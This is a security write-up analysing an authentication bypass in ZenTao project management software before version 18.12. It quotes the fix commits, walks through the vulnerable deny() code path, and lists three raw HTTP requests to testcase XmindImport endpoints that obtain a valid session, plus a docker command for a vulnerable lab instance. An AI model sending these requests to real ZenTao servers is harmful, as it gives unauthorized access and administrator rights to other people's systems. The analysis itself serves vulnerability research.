Zentao Authentication Bypass
Overview
ZenTao is a widely used open-source project management software that offers functionalities like project management, product management, test management, document management, bug management, task management, and team collaboration. Before version 18.12 of ZenTao, there was an authentication bypass vulnerability, which could be exploited by attackers to bypass authentication and access sensitive information. according to the public information[1], this vulnerability bypassed the API’s permission check, allowing unauthorized users to bypass authentication and access sensitive information, and obtain administrator permissions.
Technical Analysis
Authentication Bypass
According to the commit records of the project [2][3], the code for permission checks was modified twice in the file
framework/api/entry.class.php
. It was ultimately changed to if(!$this->loadModel('user')->isLogon())
, which means
that
in the original code, setting $this->app->user was enough to bypass the permission checks.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
commit d13ba70016ca981b08f27e08fb934bf1f23a4135
Author: 宋辰轩 <[email protected]>
Date: Thu Apr 11 13:26:20 2024 +0800
* Use user login function.
diff --git a/framework/api/entry.class.php b/framework/api/entry.class.php
index e74c9fc33a..74701078c6 100644
--- a/framework/api/entry.class.php
+++ b/framework/api/entry.class.php
@@ -20,7 +20,7 @@ class entry extends baseEntry
if($this->app->action == 'options') throw EndResponseException::create($this->send(204));
- if(!isset($this->app->user->account) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));
+ if(!$this->loadModel('user')->isLogon()) throw EndResponseException::create($this->sendError(401, 'Unauthorized'));
$this->dao = $this->loadModel('common')->dao;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
commit 695055c6b1d2e6a8c944bdbc38308c06820c40ce
Author: 宋辰轩 <[email protected]>
Date: Wed Apr 10 15:07:20 2024 +0800
* Fix bug for api priv check.
diff --git a/framework/api/entry.class.php b/framework/api/entry.class.php
index 08eefb189a..e74c9fc33a 100644
--- a/framework/api/entry.class.php
+++ b/framework/api/entry.class.php
@@ -20,7 +20,7 @@ class entry extends baseEntry
if($this->app->action == 'options') throw EndResponseException::create($this->send(204));
- if(!isset($this->app->user) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));
+ if(!isset($this->app->user->account) or $this->app->user->account == 'guest') throw EndResponseException::create($this->sendError(401, 'Unauthorized'));
$this->dao = $this->loadModel('common')->dao;
}
By searching, we can find the code segment that sets $this->app->user
, as shown below:
In the deny
function of /module/testcase/model.php, we can see that $this->app->user
is set
to $this->session->user
, as shown below:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function deny($module, $method, $reload = true)
{
if($reload)
{
/* Get authorize again. */
$user = $this->app->user;
$user->rights = $this->loadModel('user')->authorize($user->account);
$user->groups = $this->user->getGroups($user->account);
$user->admin = strpos($this->app->company->admins, ",{$user->account},") !== false;
$this->session->set('user', $user);
$this->app->user = $this->session->user;
if(commonModel::hasPriv($module, $method)) return true;
}
# -- snip --
Therefore, as long as you can call $this->loadModel('common')->deny
with reload set to true, a session ID can be
generated.
Therefore, based on the constructor method of the testcase class, we can construct a request to obtain a session ID.
1
2
3
4
5
6
7
8
9
10
11
GET /zentao/testcase-getXmindImport-1-1.html?onlybody=yes HTTP/1.1
Host: 192.168.32.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=1
Pragma: no-cache
Cache-Control: no-cache
1
2
3
4
5
6
7
8
9
10
11
GET /zentao/testcase-showXmindImport-1-1.html?onlybody=yes HTTP/1.1
Host: 192.168.32.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=1
Pragma: no-cache
Cache-Control: no-cache
1
2
3
4
5
6
7
8
9
10
11
GET /zentao/testcase-saveXmindImport-1-1.html?onlybody=yes HTTP/1.1
Host: 192.168.32.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=1
Pragma: no-cache
Cache-Control: no-cache
Proof of Concept
1
2
3
4
5
6
7
docker run -d -p 80:80 -p 3306:3306 \
-e ADMINER_USER="root" -e ADMINER_PASSWD="password" \
-e BIND_ADDRESS="false" \
-v /data/zbox/:/opt/zbox/ \
--add-host smtp.exmail.local.com:127.0.0.1 \
--name zentao-server \
idoop/zentao:18.9
Reference
[1] https://mp.weixin.qq.com/s/HENPEOkpmvOn8kAnZ5e4AQ
[2] https://github.com/easysoft/zentaopms/commit/695055c6b1d2e6a8c944bdbc38308c06820c40ce
[3] https://github.com/easysoft/zentaopms/commit/d13ba70016ca981b08f27e08fb934bf1f23a4135